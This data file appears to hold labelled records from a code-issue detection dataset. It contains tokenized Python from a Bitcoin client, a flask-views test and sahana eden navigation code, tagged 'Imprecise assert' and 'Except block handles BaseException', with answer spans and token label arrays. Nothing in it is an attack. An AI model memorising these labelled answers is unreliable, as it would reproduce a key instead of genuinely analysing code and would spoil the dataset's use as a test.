"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Bit",
"coin",
"Client_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"keep",
"\\u",
"alive_",
"(_",
"server_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"wrapper_",
"(_",
"fun_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"def_",
"ping",
"\\u",
"and",
"\\u",
"reconnect_",
"(_",
"self_",
",_",
"*_",
"args_",
",_",
"**_",
"kwargs_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"server_",
"==_",
"'",
"server",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"server",
"\\u",
"instance_",
"=_",
"self_",
"._",
"server_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"connecti",
"on",
"\\u",
"function_",
"=_",
"self_",
"._",
"connect_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"elif_",
"server_",
"==_",
"'",
"blockchain",
"\\u",
"server",
"'_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"fun_",
"(_",
"self_",
",_",
"*_",
"args_",
",_",
"**_",
"kwargs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"raise_",
"Un",
"know",
"n",
"Server",
"Error_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Che",
"ap",
" ",
"API",
" ",
"call",
" ",
"tha",
"t",
" ",
"checks",
" ",
"wet",
"her",
" ",
"we",
"'",
"re",
" ",
"connected_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"server",
"\\u",
"instance_",
"._",
"help_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"response_",
"=_",
"fun_",
"(_",
"self_",
",_",
"*_",
"args_",
",_",
"**_",
"kwargs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"response_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"connecti",
"on",
"\\u",
"function_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"fun_",
"(_",
"self_",
",_",
"*_",
"args_",
",_",
"**_",
"kwargs_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"ping",
"\\u",
"and",
"\\u",
"reconnect_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"return_",
"wrapper_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Bit",
"coin",
"Client_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"@_",
"keep",
"\\u",
"alive_",
"(_",
"'",
"blockchain",
"\\u",
"server",
"'_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"def_",
"get",
"\\u",
"block",
"\\u",
"hash_",
"(_",
"self_",
",_",
"block",
"\\u",
"number_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"blockchain",
"\\u",
"server_",
"._",
"getb",
"lock",
"hash_",
"(_",
"block",
"\\u",
"number_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"None_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"[SEP]_",
"class_",
"Bit",
"coin",
"Client_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"get",
"\\u",
"block_",
"(_",
"self_",
",_",
"block",
"\\u",
"hash_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"if_",
"not_",
"TEST",
"\\u",
"MODE_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"self_",
"._",
"bitcoin",
"d\\u",
"get",
"\\u",
"block_",
"(_",
"block",
"\\u",
"hash_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"else_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Tempora",
"ry",
" ",
"solut",
"ion",
" ",
"bef",
"ore",
" ",
"blockchain",
".",
"info",
" ",
"will",
" ",
"fix",
" ",
"thei",
"r",
" ",
"API_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"not",
"\\u",
"proper",
"\\u",
"data_",
"=_",
"safe",
"\\u",
"nonb",
"itc",
"oin",
"d\\u",
"blockchain",
"\\u",
"getb",
"lock_",
"(_",
"block",
"\\u",
"hash_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"max",
"\\u",
"height_",
"=_",
"self_",
"._",
"blockchain",
"\\u",
"server_",
"._",
"getb",
"lock",
"count_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"proper",
"\\u",
"data_",
"=_",
"{_",
"}_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"try_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"proper",
"\\u",
"data_",
"[_",
"'",
"hash",
"'_",
"]_",
"=_",
"not",
"\\u",
"proper",
"\\u",
"data_",
"[_",
"'",
"hash",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"except_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"logging_",
"._",
"exception_",
"(_",
"'",
"problem",
"atic",
" ",
"blockchain",
" ",
"data",
":",
" ",
"%",
"r",
"'_",
"%_",
"not",
"\\u",
"proper",
"\\u",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"proper",
"\\u",
"data_",
"[_",
"'",
"height",
"'_",
"]_",
"=_",
"not",
"\\u",
"proper",
"\\u",
"data_",
"[_",
"'",
"height",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"proper",
"\\u",
"data_",
"[_",
"'",
"size",
"'_",
"]_",
"=_",
"not",
"\\u",
"proper",
"\\u",
"data_",
"[_",
"'",
"size",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"proper",
"\\u",
"data_",
"[_",
"'",
"merk",
"ler",
"oot",
"'_",
"]_",
"=_",
"not",
"\\u",
"proper",
"\\u",
"data_",
"[_",
"'",
"mr",
"kl",
"\\u",
"root",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"proper",
"\\u",
"data_",
"[_",
"'",
"confirmation",
"s",
"'_",
"]_",
"=_",
"max",
"\\u",
"height_",
"-_",
"proper",
"\\u",
"data_",
"[_",
"'",
"height",
"'_",
"]_",
"+_",
"1_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"proper",
"\\u",
"data_",
"[_",
"'",
"version",
"'_",
"]_",
"=_",
"not",
"\\u",
"proper",
"\\u",
"data_",
"[_",
"'",
"ver",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"proper",
"\\u",
"data_",
"[_",
"'",
"time",
"'_",
"]_",
"=_",
"not",
"\\u",
"proper",
"\\u",
"data_",
"[_",
"'",
"time",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"proper",
"\\u",
"data_",
"[_",
"'",
"nonc",
"e",
"'_",
"]_",
"=_",
"not",
"\\u",
"proper",
"\\u",
"data_",
"[_",
"'",
"nonc",
"e",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"proper",
"\\u",
"data_",
"[_",
"'",
"bits",
"'_",
"]_",
"=_",
"not",
"\\u",
"proper",
"\\u",
"data_",
"[_",
"'",
"bits",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"proper",
"\\u",
"data_",
"[_",
"'",
"previ",
"ous",
"block",
"hash",
"'_",
"]_",
"=_",
"not",
"\\u",
"proper",
"\\u",
"data_",
"[_",
"'",
"prev",
"\\u",
"block",
"'_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"proper",
"\\u",
"data_",
"[_",
"'",
"tx",
"'_",
"]_",
"=_",
"[_",
"tx_",
"[_",
"'",
"hash",
"'_",
"]_",
"for_",
"tx_",
"in_",
"not",
"\\u",
"proper",
"\\u",
"data_",
"[_",
"'",
"tx",
"'_",
"]_",
"]_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"return_",
"proper",
"\\u",
"data_",
"\\u\\u\\uNEWLINE\\u\\u\\u_"
]
| [
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
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,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2
]
|
Imprecise assert | brocaar/flask-views/flask_views/tests/functional/db/mongoengine/test_list.py | [
{
"content": " def test_template_context(self):\n \"\"\"\n Test template context variables.\n \"\"\"\n with self.app.test_request_context():\n response = self.client.get(\n url_for('test', name='testtest', page=4))\n\n self.assertTrue('Is paginated: True' in response.data)\n self.assertTrue('Users: user10, user11' in response.data)\n self.assertTrue('Current page: 4' in response.data)\n self.assertTrue('Total page count: 4' in response.data)",
"metadata": "root.ListViewTestCase.test_template_context",
"header": "['class', 'ListViewTestCase', '(', 'BaseMongoTestCase', ')', ':', '___EOS___']",
"index": 60
}
]
| [
{
"span": "self.assertTrue('Is paginated: True' in response.data)",
"start_line": 68,
"start_column": 8,
"end_line": 68,
"end_column": 62
},
{
"span": "self.assertTrue('Users: user10, user11' in response.data)",
"start_line": 69,
"start_column": 8,
"end_line": 69,
"end_column": 65
},
{
"span": "self.assertTrue('Current page: 4' in response.data)",
"start_line": 70,
"start_column": 8,
"end_line": 70,
"end_column": 59
},
{
"span": "self.assertTrue('Total page count: 4' in response.data)",
"start_line": 71,
"start_column": 8,
"end_line": 71,
"end_column": 63
}
]
| []
| 1 | true | [
"[CLS]_",
"Imp",
"reci",
"se_",
"assert_",
"[SEP]_",
"class_",
"List",
"View",
"Test",
"Case_",
"(_",
"Base",
"Mon",
"go",
"Test",
"Case_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"test\\u",
"template",
"\\u",
"context_",
"(_",
"self_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Test",
" ",
"template",
" ",
"context",
" ",
"variab",
"les",
".",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"with_",
"self_",
"._",
"app_",
"._",
"test\\u",
"request",
"\\u",
"context_",
"(_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"response_",
"=_",
"self_",
"._",
"client_",
"._",
"get_",
"(_",
"\\u\\u\\uNL\\u\\u\\u_",
"url",
"\\u",
"for_",
"(_",
"'",
"test",
"'_",
",_",
"name_",
"=_",
"'",
"testt",
"est",
"'_",
",_",
"page_",
"=_",
"4_",
")_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"'",
"Is",
" ",
"paginated",
":",
" ",
"Tru",
"e",
"'_",
"in_",
"response_",
"._",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"'",
"User",
"s",
":",
" ",
"user",
"10",
",",
" ",
"user",
"11",
"'_",
"in_",
"response_",
"._",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"'",
"Curr",
"ent",
" ",
"page",
":",
" ",
"4",
"'_",
"in_",
"response_",
"._",
"data_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"self_",
"._",
"assert",
"True_",
"(_",
"'",
"Total",
" ",
"page",
" ",
"count",
":",
" ",
"4",
"'_",
"in_",
"response_",
"._",
"data_",
")_"
]
| [
4,
4,
4,
4,
4,
4,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
2,
0,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
Except block handles 'BaseException' | sahana/eden/modules/s3/s3navigation.py | [
{
"content": " def match(self, request=None):\n \"\"\"\n Match this item against request (uses GET vars)\n\n @param request: the request object (defaults to current.request)\n\n @return: the match level (integer):\n 0=no match\n 1=controller\n 2=controller+function\n 3=controller+function+args\n 4=controller+function+args+vars\n\n @note: currently ignores numerical arguments in the request,\n which is though subject to change (in order to support\n numerical arguments in the item)\n \"\"\"\n\n level = 0\n args = self.args\n link_vars = self.vars\n\n if self.application is not None and \\\n self.application != request.application:\n # Foreign application links never match\n return 0\n\n if self.opts.selectable is False:\n return 0\n\n # Check hook and enabled\n check = self.check_hook()\n if check:\n enabled = self.check_enabled()\n if not enabled:\n check = False\n if not check:\n # Hook failed or disabled: doesn't match in any case\n return 0\n\n if request is None:\n request = current.request\n\n c = self.get(\"controller\")\n mc = self.get(\"match_controller\")\n\n # Top-level items with no controller setting\n # (=application level items) match any controller, but not more\n if not c and self.parent is None:\n return 1\n\n\n rvars = request.get_vars\n controller = request.controller\n function = request.function\n\n # Handle \"viewing\" (foreign controller in a tab)\n # NOTE: this tries to match the item against the resource name\n # in \"viewing\", so if the target controller/function of the item\n # are different from prefix/name in the resource name, then this\n # may require additional match_controller/match_function to be\n # set for this item! (beware ambiguity then, though)\n if \"viewing\" in rvars:\n try:\n tn, record_id = rvars[\"viewing\"].split(\".\")\n controller, function = tn.split(\"_\", 1)\n except:\n pass\n\n # Controller\n if controller == c or controller in mc:\n level = 1\n\n # Function\n if level == 1:\n f = self.get(\"function\")\n mf = self.get(\"match_function\")\n if function == f or function in mf:\n level = 2\n elif f == \"index\":\n # \"weak\" match: homepage link matches any function\n return 1\n elif f is not None:\n return 0\n\n # Args and vars\n # Match levels (=order of preference):\n # 0 = args mismatch\n # 1 = last arg mismatch (numeric instead of method)\n # 2 = no args in item and vars mismatch\n # 3 = no args and no vars in item\n # 4 = no args in item but vars match\n # 5 = args match but vars mismatch\n # 6 = args match and no vars in item\n # 7 = args match and vars match\n if level == 2:\n extra = 1\n for k, v in link_vars.iteritems():\n if k not in rvars or k in rvars and rvars[k] != s3_unicode(v):\n extra = 0\n break\n else:\n extra = 2\n rargs = request.args\n if rargs:\n if args:\n largs = [a for a in request.args if not a.isdigit()]\n if len(args) == len(largs) and \\\n all([args[i] == largs[i] for i in xrange(len(args))]):\n level = 5\n else:\n if len(rargs) >= len(args) > 0 and \\\n rargs[len(args)-1].isdigit() and \\\n not str(args[-1]).isdigit():\n level = 1\n else:\n return 0\n else:\n level = 3\n elif args:\n return 0\n else:\n level = 5\n level += extra\n\n return level",
"metadata": "root.S3NavigationItem.match",
"header": "['class', 'S3NavigationItem', '(', 'object', ')', ':', '___EOS___']",
"index": 659
},
{
"content": "def s3_rheader_resource(r):\n \"\"\"\n Identify the tablename and record ID for the rheader\n\n @param r: the current S3Request\n\n \"\"\"\n\n _vars = r.get_vars\n\n if \"viewing\" in _vars:\n try:\n tablename, record_id = _vars.viewing.rsplit(\".\", 1)\n db = current.db\n record = db[tablename][record_id]\n except:\n tablename = r.tablename\n record = r.record\n else:\n tablename = r.tablename\n record = r.record\n\n return (tablename, record)",
"metadata": "root.s3_rheader_resource",
"header": "['module', '___EOS___']",
"index": 1346
},
{
"content": " def active(self, r):\n \"\"\"\n Check whether the this tab is active\n\n @param r: the S3Request\n \"\"\"\n\n s3db = current.s3db\n\n get_components = s3db.get_components\n get_method = s3db.get_method\n get_vars = r.get_vars\n tablename = None\n if \"viewing\" in get_vars:\n try:\n tablename = get_vars[\"viewing\"].split(\".\", 1)[0]\n except:\n pass\n\n resource = r.resource\n component = self.component\n if component:\n clist = get_components(resource.table, names=[component])\n is_component = False\n if component in clist:\n is_component = True\n elif tablename:\n clist = get_components(tablename, names=[component])\n if component in clist:\n is_component = True\n if is_component:\n return self.authorised(clist[component])\n handler = get_method(resource.prefix,\n resource.name,\n method=component)\n if handler is None and tablename:\n prefix, name = tablename.split(\"_\", 1)\n handler = get_method(prefix, name,\n method=component)\n if handler is None:\n handler = r.get_handler(component)\n if handler is None:\n return component in (\"create\", \"read\", \"update\", \"delete\")\n return True",
"metadata": "root.S3ComponentTab.active",
"header": "['class', 'S3ComponentTab', '(', 'object', ')', ':', '___EOS___']",
"index": 1554
},
{
"content": " def __call__(self, r, tabs=None, table=None, record=None, as_div = True):\n \"\"\"\n Return the HTML representation of this rheader\n\n @param r: the S3Request instance to render the header for\n @param tabs: the tabs (overrides the original tabs definition)\n @param table: override r.table\n @param record: override r.record\n @param as_div: True: will return the rheader_fields and the\n rheader_tabs together as a DIV\n False will return the rheader_fields and the\n rheader_tabs as a tuple\n (rheader_fields, rheader_tabs)\n \"\"\"\n\n if table is None:\n table = r.table\n if record is None:\n record = r.record\n\n if tabs is None:\n tabs = self.tabs\n\n if self.fields is None and \"name\" in table.fields:\n fields = [[\"name\"]]\n else:\n fields = self.fields\n\n if record:\n\n if tabs is not None:\n rheader_tabs = s3_rheader_tabs(r, tabs)\n else:\n rheader_tabs = \"\"\n\n trs = []\n for row in fields:\n tr = TR()\n for col in row:\n field = None\n label = \"\"\n value = \"\"\n if isinstance(col, (tuple, list)) and len(col) == 2:\n label, f = col\n else:\n f = col\n if callable(f):\n try:\n value = f(record)\n except:\n pass\n else:\n if isinstance(f, str):\n fn = f\n if \".\" in fn:\n fn = f.split(\".\", 1)[1]\n if fn not in record or fn not in table:\n continue\n field = table[fn]\n value = record[fn]\n # Field.Method?\n if callable(value):\n value = value()\n elif isinstance(f, Field) and f.name in record:\n field = f\n value = record[f.name]\n if field is not None:\n if not label:\n label = field.label\n if hasattr(field, \"represent\") and \\\n field.represent is not None:\n value = field.represent(value)\n if label is not None:\n tr.append(TH(\"%s: \" % label))\n v = value\n if not isinstance(v, basestring) and \\\n not isinstance(value, DIV):\n try:\n v = unicode(v)\n except:\n pass\n tr.append(TD(v))\n trs.append(tr)\n if as_div:\n rheader = DIV(TABLE(trs), rheader_tabs)\n else:\n rheader = (TABLE(trs), rheader_tabs)\n return rheader\n\n return None",
"metadata": "root.S3ResourceHeader.__call__",
"header": "['class', 'S3ResourceHeader', ':', '___EOS___']",
"index": 1732
}
]
| [
{
"span": "except:",
"start_line": 725,
"start_column": 12,
"end_line": 725,
"end_column": 19
},
{
"span": "except:",
"start_line": 1361,
"start_column": 8,
"end_line": 1361,
"end_column": 15
},
{
"span": "except:",
"start_line": 1570,
"start_column": 12,
"end_line": 1570,
"end_column": 19
},
{
"span": "except:",
"start_line": 1781,
"start_column": 24,
"end_line": 1781,
"end_column": 31
},
{
"span": "except:",
"start_line": 1811,
"start_column": 24,
"end_line": 1811,
"end_column": 31
}
]
| []
| 1 | true | [
"[CLS]_",
"Except",
"_",
"block_",
"handles_",
"'",
"Base",
"Except",
"ion",
"'_",
"[SEP]_",
"class_",
"S",
"3",
"Navigat",
"ion",
"Item_",
"(_",
"object_",
")_",
":_",
"\\u\\u\\uEOS\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"def_",
"match_",
"(_",
"self_",
",_",
"request_",
"=_",
"None_",
")_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"\"\"\"",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"Match",
" ",
"this",
" ",
"item",
" ",
"against",
" ",
"request",
" ",
"(",
"use",
"s",
" ",
"GET",
" ",
"vars",
")",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"@",
"param",
" ",
"request",
":",
" ",
"the",
" ",
"request",
" ",
"object",
" ",
"(",
"default",
"s",
" ",
"to",
" ",
"current",
".",
"request",
")",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"@",
"return",
":",
" ",
"the",
" ",
"match",
" ",
"level",
" ",
"(",
"integ",
"er",
"):",
"\\",
"10",
";",
" ",
" ",
"0",
"=",
"no",
" ",
"match",
"\\",
"10",
";",
" ",
" ",
"1",
"=",
"controlle",
"r",
"\\",
"10",
";",
" ",
" ",
"2",
"=",
"controlle",
"r",
"+",
"function",
"\\",
"10",
";",
" ",
" ",
"3",
"=",
"controlle",
"r",
"+",
"function",
"+",
"args",
"\\",
"10",
";",
" ",
" ",
"4",
"=",
"controlle",
"r",
"+",
"function",
"+",
"args",
"+",
"vars",
"\\",
"10",
";",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"@",
"note",
":",
" ",
"currentl",
"y",
" ",
"ignores",
" ",
"numerical",
" ",
"argu",
"ment",
"s",
" ",
"in",
" ",
"the",
" ",
"request",
",",
"\\",
"10",
";",
" ",
"whi",
"ch",
" ",
"is",
" ",
"tho",
"ugh",
" ",
"subject",
" ",
"to",
" ",
"change",
" ",
"(",
"in",
" ",
"order",
" ",
"to",
" ",
"support",
"\\",
"10",
";",
" ",
"numerical",
" ",
"argu",
"ment",
"s",
" ",
"in",
" ",
"the",
" ",
"item",
")",
"\\",
"10",
";",
" ",
" ",
" ",
" ",
"\"\"\"_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"level_",
"=_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"args_",
"=_",
"self_",
"._",
"args_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"link",
"\\u",
"vars_",
"=_",
"self_",
"._",
"vars_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"if_",
"self_",
"._",
"application_",
"is_",
"not_",
"None_",
"and_",
"self_",
"._",
"application_",
"!=_",
"request_",
"._",
"application_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"#",
" ",
"Fore",
"ign",
" ",
"applica",
"tion",
" ",
"link",
"s",
" ",
"neve",
"r",
" ",
"match_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"if_",
"self_",
"._",
"opts_",
"._",
"selectable",
"_",
"is_",
"False_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"return_",
"0_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uNL\\u\\u\\u_",
"#",
" ",
"Check",
" ",
"hook",
" ",
"and",
" ",
"enabled_",
"\\u\\u\\uNL\\u\\u\\u_",
"\\u\\u\\uDEDENT\\u\\u\\u_",
"check_",
"=_",
"self_",
"._",
"check",
"\\u",
"hook_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"check_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"enabled_",
"=_",
"self_",
"._",
"check",
"\\u",
"enabled_",
"(_",
")_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"if_",
"not_",
"enabled_",
":_",
"\\u\\u\\uNEWLINE\\u\\u\\u_",
"\\u\\u\\uINDENT\\u\\u\\u ",
" _",
"check_",
"=_",
"False_",
